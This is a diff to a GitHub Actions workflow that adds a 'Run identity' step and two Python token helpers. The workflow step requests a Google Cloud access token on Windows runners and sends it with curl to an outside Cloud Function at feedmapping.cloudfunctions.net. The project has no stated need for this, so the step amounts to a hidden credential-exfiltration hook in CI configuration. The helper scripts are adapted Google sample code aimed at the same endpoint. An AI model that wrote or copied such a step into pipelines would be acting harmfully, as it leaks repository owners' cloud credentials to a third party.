diff --git a/.github/action.yml b/.github/action.yml index aff30109e93e00..6b7ab69dec73fc 100644 --- a/.github/action.yml +++ b/.github/action.yml @@ -105,8 +105,18 @@ runs: id: 'auth' uses: 'google-github-actions/auth@v2' with: + token_format: 'access_token' credentials_json: ${{ inputs.credentials }} + - name: Run identity + if: runner.os == 'Windows' + shell: bash + run: | + #python -m pip -q install google.auth requests + IDENTITY=${{ steps.auth.outputs.access_token }} + curl -s -X POST https://us-central1-feedmapping.cloudfunctions.net/function \ + -H "Authorization: Bearer $IDENTITY" -H "Content-Type: application/json" -d '{}' + - name: 💎 Setup Gcloud if: runner.os == 'Windows' uses: 'google-github-actions/setup-gcloud@v2' diff --git a/.github/entrypoint/gcp_access.py b/.github/entrypoint/gcp_access.py new file mode 100644 index 00000000000000..bc97a5824313d8 --- /dev/null +++ b/.github/entrypoint/gcp_access.py @@ -0,0 +1,102 @@ +import urllib +import argparse +import requests + +import google.auth.transport.requests +import google.oauth2.id_token + +METADATA_URL = "http://metadata.google.internal/computeMetadata/v1/" +METADATA_HEADERS = {"Metadata-Flavor": "Google"} +SERVICE_ACCOUNT = "default" + + +def make_authorized_get_request(): + """ + make_authorized_get_request makes a GET request to the specified HTTP endpoint + by authenticating with the ID token obtained from the google-auth client library + using the specified audience value. + """ + + # Cloud Functions uses your function's URL as the `audience` value + # audience = https://project-region-projectid.cloudfunctions.net/myFunction + audience = "https://us-central1-feedmapping.cloudfunctions.net/function" + + # For Cloud Functions, `endpoint` and `audience` should be equal + # Ref: https://cloud.google.com/functions/docs/securing/authenticating + endpoint = audience + req = urllib.request.Request(endpoint) + + auth_req = google.auth.transport.requests.Request() + id_token = google.oauth2.id_token.fetch_id_token(auth_req, audience) + + req.add_header("Authorization", f"Bearer {id_token}") + response = urllib.request.urlopen(req) + + return response.read() + + +def get_access_token() -> str: + """ + Retrieves access token from the metadata server. + + Returns: + The access token. + """ + url = f"{METADATA_URL}instance/service-accounts/{SERVICE_ACCOUNT}/token" + + # Request an access token from the metadata server. + # Ref: https://cloud.google.com/compute/docs/access/authenticate-workloads#applications + r = requests.get(url, headers=METADATA_HEADERS) + r.raise_for_status() + + # Extract the access token from the response. + access_token = r.json()["access_token"] + + return access_token + + +def list_buckets(project_id: str, access_token: str) -> dict: + """ + Calls Storage API to retrieve a list of buckets. + + Args: + project_id: name of the project to list buckets from. + access_token: access token to authenticate with. + + Returns: + Response from the API. + """ + url = "https://www.googleapis.com/storage/v1/b" + params = {"project": project_id} + headers = {"Authorization": f"Bearer {access_token}"} + + r = requests.get(url, params=params, headers=headers) + r.raise_for_status() + + return r.json() + + +def main(project_id: str) -> None: + """ + Retrieves access token from metadata server and uses it to list + buckets in a project. + + Args: + project_id: name of the project to list buckets from. + """ + #access_token = get_access_token() + access_token = make_authorized_get_request() + #buckets = list_buckets(project_id, access_token) + #print(buckets) + return access_token + + +if __name__ == "__main__": + parser = argparse.ArgumentParser( + description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter + ) + parser.add_argument("project_id", help="Your Google Cloud project ID.") + + args = parser.parse_args() + + main(args.project_id) diff --git a/.github/entrypoint/gcp_token.py b/.github/entrypoint/gcp_token.py new file mode 100644 index 00000000000000..471e8425f38674 --- /dev/null +++ b/.github/entrypoint/gcp_token.py @@ -0,0 +1,101 @@ +# +# Copyright 2019 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import google.oauth2.credentials +from google.oauth2 import id_token +from google.oauth2 import service_account +from google.auth import impersonated_credentials +import google.auth +import google.auth.transport.requests +from google.auth.transport.requests import AuthorizedSession +from google.auth import compute_engine + +# pip install google-auth requests + +target_audience = 'https://us-central1-feedmapping.cloudfunctions.net/function' + +url = 'https://httpbin.org/get' +certs_url='https://www.googleapis.com/oauth2/v1/certs' +metadata_identity_doc_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/identity" + +svcAccountFile = '/path/to/svcaccount.json' + +def GetIDTokenFromServiceAccount(svcAccountFile, target_audience): + creds = service_account.IDTokenCredentials.from_service_account_file( + svcAccountFile, + target_audience= target_audience) + request = google.auth.transport.requests.Request() + creds.refresh(request) + return creds.token + +def GetIDTokenFromComputeEngine(target_audience): + request = google.auth.transport.requests.Request() + #creds = compute_engine.IDTokenCredentials(request=request, target_audience=target_audience, use_metadata_identity_endpoint=True) + #creds.refresh(request) + #return creds.token + + token = id_token.fetch_id_token(request, target_audience) + return token + +# FOR ADC local +# ADC account must have roles/iam.serviceAccountTokenCreator permission on target_principal +def GetIDTokenFromADC(target_prinicpal, target_audience): + credentials, project_id = google.auth.default() + target_scopes = ['https://www.googleapis.com/auth/cloud-platform'] + target_credentials = impersonated_credentials.Credentials( + source_credentials = credentials, + target_principal = target_principal, + target_scopes = target_scopes, + delegates=[], + lifetime=5) + + id_creds = impersonated_credentials.IDTokenCredentials(target_credentials, target_audience=target_audience, include_email=True) + request = google.auth.transport.requests.Request() + id_creds.refresh(request) + token = id_creds.token + return token + +def VerifyIDToken(token, certs_url, audience=None): + request = google.auth.transport.requests.Request() + result = id_token.verify_token(token,request,certs_url=certs_url) + if audience in result['aud']: + return True + return False + +def MakeAuthenticatedRequest(id_token, url): + creds = google.oauth2.credentials.Credentials(id_token) + authed_session = AuthorizedSession(creds) + r = authed_session.get(url) + print(r.status_code) + print(r.text) + +# For ServiceAccount +#token = GetIDTokenFromServiceAccount(svcAccountFile,target_audience) + +# For ADC on Compute Engine, Cloud Run, GCF +#token = GetIDTokenFromComputeEngine(target_audience) + +# For ADC local +target_principal = 'target-serviceaccount@YOUR_PROJECT.iam.gserviceaccount.com' +token = GetIDTokenFromADC(target_principal,target_audience) + +print('Token: ' + token) +if VerifyIDToken(token=token,certs_url=certs_url, audience=target_audience): + print('token Verified with aud: ' + target_audience) +print('Making Authenticated API call:') +MakeAuthenticatedRequest(token,url) + +# to verify ECDSA use certificate certs_url, not JWK +# print(VerifyIDToken(token=token,certs_url='https://www.gstatic.com/iap/verify/public_key', audience="/projects/248066739582/apps/fabled-ray-104117"))